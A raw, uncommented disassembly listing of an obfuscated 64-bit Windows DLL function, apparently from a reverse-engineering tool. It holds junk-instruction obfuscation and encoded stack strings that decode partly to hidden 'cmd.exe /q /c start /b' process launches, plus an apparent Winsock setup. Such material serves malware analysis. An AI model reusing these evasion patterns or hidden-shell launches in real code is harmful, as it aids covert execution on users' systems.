rol eax, 0xa2
popf
jmp 0x18004160c
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7a13f390
pushf
not edx
add edx, 0xe5561d4c
xor edx, 0xa5ab68c4
rol edx, 0x7b
popf
pushf
not edx
add edx, 0xde62e5d7
xor edx, 0xa2797cd4
rol edx, 0x1d
popf
pushf
not edx
add edx, 0xe212b652
xor edx, 0xf250596e
rol edx, 0xa
popf
lea rcx, [0x1c24d4c75]
pushf
sub rcx, 0x424b9fa5
popf
jmp 0x180042787
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x1800427c6
push rax
pushf
mov eax, 0xdb49f1cc
pushf
not eax
add eax, 0xaee085f1
xor eax, 0xc7f7bcaa
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xc8a8e8dd
xor eax, 0xc461deac
rol eax, 0xe4
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0xc322fb25
pushf
not eax
add eax, 0x89ea3594
xor eax, 0xcedd790f
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xa5f35ccb
xor eax, 0xe04020ab
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x85528ca0
xor eax, 0xd2fa7125
rol eax, 0x1a
popf
jmp 0x18004160c
lea rdx, [0x1fbd56d06]
pushf
sub rdx, 0x7bd4c432
popf
lea rcx, [rbp + 0xc8]
call fcn.180005f60
nop
lea rcx, [rbp + 0xc8]
call fcn.180003a40
jmp 0x180042838
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, [rbp + 0x100]
call fcn.18000a824
nop
mov dword [rbp + 0x48], 0x20
mov byte [rbp + 0x4c], 0x43
mov byte [rbp + 0x4d], 0x4d
mov byte [rbp + 0x4e], 0x44
mov byte [rbp + 0x4f], 0xe
mov byte [rbp + 0x50], 0x45
mov byte [rbp + 0x51], 0x58
mov byte [rbp + 0x52], 0x45
mov byte [rbp + 0x53], dil
mov byte [rbp + 0x54], 0xf
mov byte [rbp + 0x55], 0x51
mov byte [rbp + 0x56], dil
mov byte [rbp + 0x57], 0xf
mov byte [rbp + 0x58], 0x43
mov byte [rbp + 0x59], dil
mov byte [rbp + 0x5a], 0x53
mov byte [rbp + 0x5b], 0x54
mov byte [rbp + 0x5c], 0x41
mov byte [rbp + 0x5d], 0x52
mov byte [rbp + 0x5e], 0x54
mov byte [rbp + 0x5f], dil
mov byte [rbp + 0x60], 0xf
mov byte [rbp + 0x61], 0x62
mov byte [rbp + 0x62], dil
mov byte [rbp + 0x63], 0x48
mov byte [rbp + 0x64], 0x4f
mov byte [rbp + 0x65], 0x54
mov byte [rbp + 0x66], 0x44
mov byte [rbp + 0x67], 0x4f
mov byte [rbp + 0x68], 0x47
mov byte [rbp + 0x69], 0xe
mov byte [rbp + 0x6a], 0x45
mov byte [rbp + 0x6b], 0x58
mov byte [rbp + 0x6c], 0x45
mov byte [rbp + 0x6d], dil
mov byte [rbp + 0x6e], 0x50
mov byte [rbp + 0x6f], 0x52
mov byte [rbp + 0x70], 0x4f
mov byte [rbp + 0x71], 0x43
mov byte [rbp + 0x72], 0x45
mov byte [rbp + 0x73], 0x53
mov byte [rbp + 0x74], 0x53
mov byte [rbp + 0x75], dil
mov byte [rbp + 0x76], 0x41
mov byte [rbp + 0x77], 0x44
mov byte [rbp + 0x78], 0x44
mov byte [rbp + 0x79], dil
xor eax, eax
mov byte [rbp + 0x7a], al
mov al, byte [rbp + 0x4c]
lea rcx, [rbp + 0x48]
call fcn.18000b88c
mov rdx, rax
lea r8, [rbp + 0x100]
lea rcx, [rbp + 0x160]
call fcn.180008a44
nop
cmp qword [rax + 0x18], 0x10
jb 0x180042981
push rax
pushf
mov eax, 0x28b0877b
pushf
not eax
add eax, 0xde6a8a9e
xor eax, 0xe237e966
rol eax, 0
popf
pushf
not eax
add eax, 0xc0414247
xor eax, 0x86d72388
rol eax, 0x74
popf
pushf
not eax
add eax, 0xa843b238
xor eax, 0xe794cbf0
rol eax, 0x69
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x34e20984
pushf
not eax
add eax, 0xa3878aed
xor eax, 0x985da0fc
rol eax, 0x48
popf
pushf
not eax
add eax, 0xdebb967b
xor eax, 0xa69a0180
rol eax, 0x42
popf
jmp 0x18004160c
mov rax, qword [rax]
push rax
pushf
mov eax, 0x230c32a9
pushf
not eax
add eax, 0xc02f86a4
xor eax, 0x8146807c
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x87a3e442
xor eax, 0xd6ab4da4
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xbba85d2a
xor eax, 0xae295cbd
rol eax, 0xfe
popf
jmp 0x18004160c
mov rcx, rax
call fcn.1800345c8
nop
lea rcx, [rbp + 0x160]
call fcn.180003364
nop
lea rcx, [rbp + 0x100]
call fcn.180003364
nop
jmp 0x180042a21
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, eax
lea rcx, [rbp + 0x120]
call fcn.18000a824
nop
mov dword [rbp + 0x7c], 0x68
mov byte [rbp + 0x80], 0xb
mov byte [rbp + 0x81], 5
mov byte [rbp + 0x82], 0xc
mov byte [rbp + 0x83], 0x46
mov byte [rbp + 0x84], 0xd
mov byte [rbp + 0x85], 0x10
mov byte [rbp + 0x86], 0xd
mov byte [rbp + 0x87], 0x48
mov byte [rbp + 0x88], 0x47
mov byte [rbp + 0x89], 0x19
mov byte [rbp + 0x8a], 0x48
mov byte [rbp + 0x8b], 0x47
mov byte [rbp + 0x8c], 0xb
mov byte [rbp + 0x8d], 0x48
mov byte [rbp + 0x8e], 0x1b
mov byte [rbp + 0x8f], 0x1c
mov byte [rbp + 0x90], 9
mov byte [rbp + 0x91], 0x1a
mov byte [rbp + 0x92], 0x1c
mov byte [rbp + 0x93], 0x48
mov byte [rbp + 0x94], 0x47
mov byte [rbp + 0x95], 0x2a
mov byte [rbp + 0x96], 0x48
mov byte [rbp + 0x97], dil
mov byte [rbp + 0x98], 7
mov byte [rbp + 0x99], 0x1c
mov byte [rbp + 0x9a], 0xc
mov byte [rbp + 0x9b], 7
mov byte [rbp + 0x9c], 0xf
mov byte [rbp + 0x9d], 0x46
mov byte [rbp + 0x9e], 0xd
mov byte [rbp + 0x9f], 0x10
mov byte [rbp + 0xa0], 0xd
mov byte [rbp + 0xa1], 0x48
mov byte [rbp + 0xa2], 0x1c
mov byte [rbp + 0xa3], dil
mov byte [rbp + 0xa4], 0x1a
mov byte [rbp + 0xa5], 0xd
mov byte [rbp + 0xa6], 9
mov byte [rbp + 0xa7], 0xc
mov byte [rbp + 0xa8], 0x48
mov byte [rbp + 0xa9], 9
mov byte [rbp + 0xaa], 0xc
mov byte [rbp + 0xab], 0xc
mov byte [rbp + 0xac], 0x48
xor eax, eax
mov byte [rbp + 0xad], al
mov al, byte [rbp + 0x80]
lea rcx, [rbp + 0x7c]
call fcn.18000b85c
mov rdx, rax
lea r8, [rbp + 0x120]
lea rcx, [rbp + 0x180]
call fcn.180008a44
nop
cmp qword [rax + 0x18], 0x10
jb 0x180042be0
push rax
pushf
mov eax, 0x4f4a5671
pushf
not eax
add eax, 0xd44860c3
xor eax, 0xa7fb5b99
rol eax, 0x35
popf
pushf
not eax
add eax, 0xee0e2dbc
xor eax, 0xb500cd11
rol eax, 0x71
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x1bcaa347
pushf
not eax
add eax, 0xa5e587fd
xor eax, 0xd6177d2b
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xbca7950d
xor eax, 0xeee86706
rol eax, 0xcc
popf
jmp 0x18004160c
mov rax, qword [rax]
push rax
pushf
mov eax, 0x4877c94d
pushf
not eax
add eax, 0xee67dca4
xor eax, 0xd0d77ab8
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x9a165ba0
xor eax, 0xaba130f6
rol eax, 0xfa
popf
jmp 0x18004160c
mov rcx, rax
call fcn.1800345c8
nop
lea rcx, [rbp + 0x180]
call fcn.180003364
nop
lea rcx, [rbp + 0x120]
call fcn.180003364
nop
mov dword [rbp + 0xb0], WSAStartup
mov byte [rbp + 0xb4], 0xa8
mov byte [rbp + 0xb5], 0xb6
mov byte [rbp + 0xb6], 0xd6
mov byte [rbp + 0xb7], 0xa7
mov byte [rbp + 0xb8], 0xdd
mov byte [rbp + 0xb9], 0xcf
mov byte [rbp + 0xba], 0xd7
mov byte [rbp + 0xbb], 0xc8
mov byte [rbp + 0xbc], 0xa1
mov byte [rbp + 0xbd], 0x86
mov byte [rbp + 0xbe], 0xdd
mov byte [rbp + 0xbf], 0xa3
xor eax, eax
mov byte [rbp + 0xc0], al
mov al, byte [rbp + 0xb4]
lea rcx, [rbp + 0xb0]
call fcn.180005bd8
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.180003760
mov rbx, rax
mov qword [rbp + 0x410], rax
cmp dword [0x18002f6e0], edi
je 0x180042d4b
push rax
pushf
mov eax, 0x98dd352f
pushf
not eax
add eax, 0x9d82d902
xor eax, 0xbe9a2c70
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xc13bd306
xor eax, 0xe6fc30ca
rol eax, 0x29
popf
pushf
not eax
add eax, 0xac3a5990
xor eax, 0x8a6dd4f4
rol eax, 0x89
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x94470f2e
pushf
not eax
add eax, 0xc125ce30
xor eax, 0xf14a5b37
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd78bf855
xor eax, 0xbb0dae5e
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe0dc4b09
xor eax, 0xe1fe5c41
rol eax, 0xea
popf
pushf
not eax
add eax, 0x9ac262d7
xor eax, 0xea686737
rol eax, 0x95
popf
jmp 0x18004160c
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800107c0
mov rcx, rax
lea rdx, [0x1c5c502c3]
pushf
sub rdx, 0x45c3faef
popf
jmp 0x180042dc9
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
push rax
pushf
mov eax, 0xf80efe20
pushf
not eax
add eax, 0x816b5157
xor eax, 0xeca815e4
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xb6648957
xor eax, 0xa361ee35
rol eax, 0x91
popf
pushf
not eax
add eax, 0x85ec3d43
xor eax, 0xe7f2fd50
rol eax, 0xb7
popf
jmp 0x18004160c
mov rcx, rbx
call fcn.180003364
nop
cmp dword [rbp + 0xd0], edi
je 0x180042e5a
push rax
pushf
mov eax, 0x7e11f09e
pushf
not eax
add eax, 0xb99da4f8
xor eax, 0xdcaab53f
rol eax, 0x71
popf
pushf
not eax
add eax, 0xd618a97f
xor eax, 0x8b4adb3c
rol eax, 0x46
popf
jmp 0x18004160c
push rax
pushf
mov eax, 0x4d50fed2
pushf
not eax
add eax, 0xecab266f
xor eax, 0xf7601722
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x92e8e9e4
xor eax, 0x9950b698
rol eax, 0x56
popf
pushf
not eax
add eax, 0xdeafd580
xor eax, 0xd598a93a
rol eax, 0x86
popf
jmp 0x18004160c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret